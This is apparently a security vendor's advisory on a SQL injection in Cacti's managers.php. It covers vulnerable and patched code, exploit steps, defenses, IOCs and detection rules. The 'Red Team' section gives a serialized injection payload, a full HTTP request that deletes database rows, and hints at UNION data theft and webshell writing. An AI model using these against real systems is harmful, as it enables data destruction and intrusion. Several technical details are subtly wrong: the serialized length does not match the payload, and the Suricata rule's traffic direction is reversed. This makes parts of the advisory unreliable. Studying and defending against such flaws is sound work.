CVE-2026-40083

Executive Summary

CVE-2026-40083 is a critical SQL Injection vulnerability in Cacti, an open-source performance and fault management framework. The flaw resides in the managers.php file, specifically in the handling of the selected_graphs_array parameter. An authenticated attacker with SNMP agent management permissions can exploit this vulnerability to execute arbitrary SQL commands, potentially leading to data exfiltration, modification, or complete compromise of the Cacti database.

The vulnerability arises from the unsafe use of unserialize() combined with implode() to construct a SQL DELETE statement. While cacti_unserialize() prevents object injection by setting allowed_classes to false, it still allows arbitrary string arrays to be deserialized. These strings are then directly concatenated into the SQL query without proper sanitization or integer validation, enabling SQL injection.

Supply Chain & Package Security

Cacti is a PHP-based application distributed via GitHub and its official website. The vulnerability affects versions up to and including 1.2.30. Users are strongly advised to update to version 1.2.31 or later. As an open-source project, the supply chain risk is moderate, but organizations should verify the integrity of downloaded packages using checksums provided by the project.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) - Requires SNMP agent management permissions
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: High. The vulnerability allows authenticated attackers to execute arbitrary SQL commands, potentially leading to full database compromise, data theft, and further lateral movement within the network.

Deep Dive & Mechanics

The vulnerability is located in managers.php at line 756. The code retrieves the selected_graphs_array parameter from the request, strips slashes, and then deserializes it using cacti_unserialize(). This function calls PHP's unserialize() with allowed_classes set to false, which prevents the instantiation of arbitrary objects but still allows the deserialization of arrays containing strings.

$selected_items = cacti_unserialize(stripslashes(gnrv('selected_graphs_array')));

Subsequently, at lines 760-766, the deserialized array is directly used in a SQL DELETE statement:

db_execute('DELETE FROM snmpagent_managers WHERE id IN (' . implode(',', $selected_items) . ')');

The implode() function joins the array elements with commas, and the resulting string is inserted directly into the SQL query. Since the array elements are not validated or sanitized, an attacker can inject arbitrary SQL by providing a malicious string array. For example, an element like 1) OR 1=1-- would result in the query:

DELETE FROM snmpagent_managers WHERE id IN (1) OR 1=1--)

This would delete all rows from the snmpagent_managers table.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.2.30):

$selected_items = cacti_unserialize(stripslashes(gnrv('selected_graphs_array')));
// ...
db_execute('DELETE FROM snmpagent_managers WHERE id IN (' . implode(',', $selected_items) . ')');

Patched Code (version 1.2.31):

$selected_items = cacti_unserialize(stripslashes(gnrv('selected_graphs_array')));
// ...
$selected_items = array_map('intval', $selected_items);
db_execute('DELETE FROM snmpagent_managers WHERE id IN (' . implode(',', $selected_items) . ')');

The patch adds array_map('intval', $selected_items) to cast all array elements to integers, effectively neutralizing any SQL injection attempts.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Valid credentials with SNMP agent management permissions.
• Network access to the Cacti web interface.

Exploit Steps:

1. Craft a malicious serialized array. The array should contain strings that, when imploded, form a valid SQL injection payload. For example, to delete all managers:

   a:1:{s:16:"1) OR 1=1-- -";}
   

   This serialized array contains one element: 1) OR 1=1-- -.

2. Send the request. The payload is sent via the selected_graphs_array parameter. The request must be URL-encoded.

   POST /cacti/managers.php HTTP/1.1
   Host: target
   Content-Type: application/x-www-form-urlencoded
   Cookie: [valid session cookie]
   
   action=delete&selected_graphs_array=a%3A1%3A%7Bs%3A16%3A%221%29+OR+1%3D1--+-%22%3B%7D
   

3. Observe the result. The SQL injection will execute, potentially deleting all rows from snmpagent_managers.

Advanced Exploitation:

• Use UNION based SQL injection to extract data from other tables.
• Leverage INTO OUTFILE to write a webshell (if MySQL file privileges are granted).

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual DELETE operations on the snmpagent_managers table.
• Look for requests to managers.php with a selected_graphs_array parameter containing serialized PHP data.
• Analyze web server logs for patterns indicative of SQL injection (e.g., OR, UNION, --).

Defense:

• Immediately update Cacti to version 1.2.31 or later.
• Implement a Web Application Firewall (WAF) with rules to block SQL injection attempts.
• Restrict SNMP agent management permissions to only trusted users.
• Enable database query logging to detect anomalous activity.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /cacti/managers.php with a selected_graphs_array parameter containing serialized PHP array data.
  • SQL queries containing DELETE FROM snmpagent_managers with injected conditions.
• File IOCs:
  • Modified or new files in the Cacti webroot (e.g., webshells).
• Database IOCs:
  • Unexpected rows in snmpagent_managers or other tables.
  • Database user privileges being escalated.

Detection Engineering

YARA Rule

rule CVE_2026_40083_Cacti_SQLi {
    meta:
        description = "Detects Cacti SQL injection attempts via serialized payload in selected_graphs_array"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-40083"
    strings:
        $serialized = /a:\d+:\{.*s:\d+:".*OR.*--.*/
        $sqli_pattern = /(OR|UNION|SELECT|DELETE|DROP|INSERT|UPDATE|--|#)/
    condition:
        $serialized and $sqli_pattern
}

Sigma Rule

title: Cacti SQL Injection via selected_graphs_array
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts against Cacti managers.php via serialized payload
author: Valters IT
date: 2026/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/cacti/managers.php'
        cs-uri-query|contains: 'selected_graphs_array'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate use of the feature with non-malicious serialized data
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-40083 Cacti SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cacti/managers.php"; http_uri;
    content:"selected_graphs_array"; http_client_body;
    pcre:"/a:\d+:\{.*s:\d+:".*(OR|UNION|SELECT|DELETE|DROP|INSERT|UPDATE|--|#).*"/Ri";
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Update Cacti to version 1.2.31 or later.
2. Restrict access to managers.php to only trusted IP addresses.
3. Review and revoke unnecessary SNMP agent management permissions.

Long-term Measures:

• Implement a Web Application Firewall (WAF) with SQL injection prevention rules.
• Conduct regular security audits and penetration testing.
• Enable detailed logging and monitoring for all database operations.
• Follow the principle of least privilege for all user roles.

Workaround (if patching is not immediately possible):

• Disable the SNMP agent management feature by removing or restricting access to managers.php.
• Implement input validation at the web server level to block serialized PHP data in request parameters.

Valters IT
Securing Digital Frontiers